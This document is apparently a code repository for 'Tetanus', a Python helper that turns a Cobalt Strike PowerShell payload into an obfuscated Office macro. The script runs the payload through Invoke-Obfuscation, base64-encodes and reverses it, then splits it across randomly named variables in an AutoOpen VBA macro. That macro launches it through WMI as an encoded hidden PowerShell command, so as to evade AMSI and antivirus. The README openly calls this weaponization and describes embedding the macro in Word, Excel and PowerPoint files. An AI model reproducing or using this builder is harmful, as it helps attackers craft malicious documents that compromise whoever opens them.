├── .gitignore ├── README.md └── tetanus.py /.gitignore: -------------------------------------------------------------------------------- 1 | payload.ps1 2 | empire.ps1 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Tetanus 2 | 3 | Helper script for mangling CS payloads through various methods to create a macro to bypass AV vendors. 4 | 5 | 6 | ## Disclaimer - Read! 7 | 8 | *This is not my own research, it is merely the combination and weaponization of various techniques i have found online.I assume no responsibility for any misuse of this tool* 9 | 10 | ## Credits 11 | 12 | Full credit goes to [Carlos Perez](https://twitter.com/Carlos_Perez) for his [ASR Rules](https://gist.github.com/infosecn1nja/24a733c5b3f0e5a8b6f0ca2cf75967e3) and the [Walmart Labs team](https://twitter.com/OrOneEqualsOne) for the [techniques](https://medium.com/walmartlabs/evasive-vba-advanced-maldoc-techniques-1365e9373f80) used in the tool. 13 | 14 | ## Background stuff 15 | 16 | The Macro is executed via WMI is order to bypass the AMSI scan engine. In addition the script runs the payload.ps1 file through Invoke-Obfuscation for evading AV. The default commands used in Invoke-Obfuscation are TOKEN\ALL\1,COMPRESS\1 which is hardcoded in the script. The resulting code is then Base64 encoded and the strings are reversed. Finally all variables in the script are randomly generated every time the script is executed to avoid at least static signatures. 17 | 18 | 19 | ## Usage: 20 | 21 | Extract a .ps1 payload from Cobalt Strike and save it in the tetanus directory. Run the script with: 22 | 23 | `python tetanus.py -f .ps1` 24 | 25 | Copy the output macro to a Microsoft Word/Excel document and save it. I have also succesfuly imported the macro in a PowerPoint (pptm) file by adding a [Custom UI](http://openxmldeveloper.org/blog/b/openxmldeveloper/archive/2006/05/26/customuieditor.aspx) to load the script on file open. 26 | 27 | ## Requirements 28 | 29 | You will need to have both [PowerShell/pwsh](https://github.com/PowerShell/PowerShell) and [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation) 30 | for the script to work. 31 | 32 | ## Developers 33 | 34 | The tool was developed by [SecGroundZero](https://twitter.com/sec_groundzero) and [Stella](https://twitter.com/stellaconstanti) -------------------------------------------------------------------------------- /tetanus.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import os, subprocess 4 | from optparse import OptionParser 5 | 6 | parser = OptionParser(usage="usage: %prog [options]") 7 | parser.add_option("-f", action="store", dest="payload_file", 8 | help="CS Payload - filename") 9 | (options, args) = parser.parse_args() 10 | 11 | if len(args) != 0: 12 | parser.error("You need to select the file to obfuscate") 13 | 14 | 15 | def reverse(s): 16 | return "".join(reversed(s)) 17 | 18 | def randomString(stringLength): 19 | letters = string.ascii_letters 20 | return ''.join(random.choice(letters) for i in range(stringLength)) 21 | 22 | payload_file = options.payload_file 23 | 24 | 25 | #Invoke Obfuscation commands to run 26 | obf_command = '\\"Token,all,1\\"' 27 | 28 | 29 | obf_command = subprocess.call("pwsh -C 'Invoke-Obfuscation -ScriptPath %s -Command %s -Quiet | Out-File inter_file'" %(payload_file, obf_command), shell = True) 30 | payload = subprocess.check_output("cat inter_file | iconv -t utf-16le | base64 | tr -d '\\n'", shell = True) 31 | clearance = subprocess.call("rm inter_file", shell = True) 32 | 33 | 34 | launcher = "powershell.exe -w 1 -nop -enc" 35 | wObjName = randomString(6) 36 | wModName = randomString(6) 37 | 38 | 39 | doc_load = "Sub AutoOpen()" 40 | process_create = wObjName + '= strReverse(":stmgmniw")' 41 | process_open = wModName + '= StrReverse("ssecorP_23niw")' 42 | 43 | execute = "GetObject(" + wObjName + ").Get(" + wModName + ").Create " 44 | doc_close = "End Sub" 45 | 46 | 47 | rev_payload = reverse(payload) 48 | n = 100 49 | out = [(rev_payload[i:i+n]) for i in range(0, len(rev_payload), n)] 50 | 51 | print doc_load + "\n" 52 | 53 | payload_list=[] 54 | tempList=[] 55 | 56 | for i in range (0,len(out)): 57 | if (i!=0): 58 | if ((i%24)==0): 59 | payload_list.append(tempList) 60 | tempList=[] 61 | output='"' + out[i].strip() + '" & _' 62 | tempList.append(output) 63 | else: 64 | output='"' + out[i].strip() + '" & _' 65 | tempList.append(output) 66 | else: 67 | output='"' + out[i].strip() + '" & _' 68 | tempList.append(output) 69 | payload_list.append(tempList) 70 | 71 | load=[] 72 | for i in range (0,len(payload_list)): 73 | loadVar=randomString(6) 74 | load.append(loadVar) 75 | print loadVar + ' = ' + payload_list[i][0] 76 | if i == len(payload_list)-1: 77 | for k in range (1,len(payload_list[i])): 78 | if k == len(payload_list[i])-1: 79 | last_seq=payload_list[i][k] 80 | print last_seq[:-5] + " " + reverse(launcher)+ '"' 81 | else: 82 | print payload_list[i][k] 83 | else: 84 | for k in range(1,23): 85 | print payload_list[i][k] 86 | print payload_list[i][23][:-4] 87 | print "\n" 88 | 89 | for i in range(len(load)-1, -1, -1): 90 | if i!=0: 91 | executeVar="strReverse(" + load[i] + ")" " + " 92 | execute=execute+executeVar 93 | else: 94 | executeVar="strReverse(" + load[i] + ")" 95 | execute=execute+executeVar 96 | execute=execute+", null, null, pid" 97 | 98 | print "\n" + process_create 99 | print process_open 100 | print execute 101 | print "\n" + doc_close 102 | --------------------------------------------------------------------------------